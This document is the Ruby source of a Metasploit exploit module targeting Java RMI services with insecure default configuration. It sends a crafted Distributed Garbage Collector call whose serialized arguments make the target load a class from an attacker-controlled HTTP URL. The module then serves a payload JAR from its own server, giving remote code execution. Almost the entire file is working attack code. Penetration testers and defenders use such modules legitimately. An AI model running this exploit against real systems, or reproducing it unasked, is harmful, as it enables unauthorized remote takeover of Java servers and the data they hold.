## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution', 'Description' => %q{ This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. }, 'Author' => [ 'mihi' ], 'License' => MSF_LICENSE, 'References' => [ # RMI protocol specification [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], # Placeholder reference for matching [ 'MSF', 'java_rmi_server'] ], 'DisclosureDate' => 'Oct 15 2011', 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(1099), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), ], self.class) register_common_rmi_ports_and_services end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stops due to our timeout, re-raise # RuntimeError so it won't wait the full wfs_delay raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" rescue Msf::Exploit::Failed # When the server stops due primer failing, re-raise # RuntimeError so it won't wait the full wfs_delays raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e # When the primer fails due to an error connecting with # the rhost, re-raise RuntimeError so it won't wait the # full wfs_delays raise ::RuntimeError, e.message end end def primer connect print_status("Sending RMI Header...") send_header ack = recv_protocol_ack if ack.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end jar = rand_text_alpha(rand(8)+1) + '.jar' new_url = get_uri + '/' + jar print_status("Sending RMI Call...") dgc_interface_hash = calculate_interface_hash( [ { name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', exceptions: ['java.rmi.RemoteException'] }, { name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', exceptions: ['java.rmi.RemoteException'] } ] ) # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) send_call( object_number: 2, uid_number: 0, uid_time: 0, uid_count: 0, operation: 0, hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash arguments: build_dgc_clean_args(new_url) ) return_value = recv_return if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') end if return_value && return_value.is_exception? && loader_disabled?(return_value) fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') end if return_value && return_value.is_exception? && class_not_found?(return_value) fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect end def on_request_uri(cli, request) if request.uri =~ /\.jar$/i p = regenerate_payload(cli) jar = p.encoded_jar paths = [ [ "metasploit", "RMILoader.class" ], [ "metasploit", "RMIPayload.class" ], ] jar.add_files(paths, MetasploitPayloads.path('java')) send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', 'Pragma' => 'no-cache' }) print_status("Replied to request for payload JAR") stop_service end end def cleanup # Normally service termination should not be managed on the module's level, but this is a # special case. # # Originally this special service termination routine was implemented in # Exploit::Remote::TcpServer#stop_service, but that would actually cause all HttpServers to stop # if one of them attempts to register a resource that is already taken, which seems to be a # harsh punishment. This is why the fix is moved here. # # See references: # https://github.com/rapid7/metasploit-framework/pull/4203 # https://github.com/rapid7/metasploit-framework/issues/6445 service.stop if service super end def autofilter return true end def loader_disabled?(return_value) return_value.value.each do |exception| if exception.class == Rex::Java::Serialization::Model::NewObject && exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& [Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) && exception.class_data[1].contents.include?('RMI class loader disabled') return true end end false end def class_not_found?(return_value) return_value.value.each do |exception| if exception.class == Rex::Java::Serialization::Model::NewObject && exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' return true end end false end def build_dgc_clean_args(jar_url) arguments = [] new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ Rex::Java::Serialization::Model::NullReference.new, Rex::Java::Serialization::Model::EndBlockData.new ] new_array_super = Rex::Java::Serialization::Model::ClassDesc.new new_array_super.description = Rex::Java::Serialization::Model::NullReference.new new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') new_array_desc.serial_version = 0x871300b8d02c647e new_array_desc.flags = 2 new_array_desc.fields = [] new_array_desc.class_annotation = new_array_annotation new_array_desc.super_class = new_array_super array_desc = Rex::Java::Serialization::Model::ClassDesc.new array_desc.description = new_array_desc new_array = Rex::Java::Serialization::Model::NewArray.new new_array.type = 'java.rmi.server.ObjID;' new_array.values = [] new_array.array_description = array_desc arguments << new_array arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') new_class_desc.serial_version = 0xa16544ba26f9c2f4 new_class_desc.flags = 2 new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ Rex::Java::Serialization::Model::Utf.new(nil, jar_url), Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new new_object = Rex::Java::Serialization::Model::NewObject.new new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new new_object.class_desc.description = new_class_desc new_object.class_data = [] arguments << new_object arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") arguments end end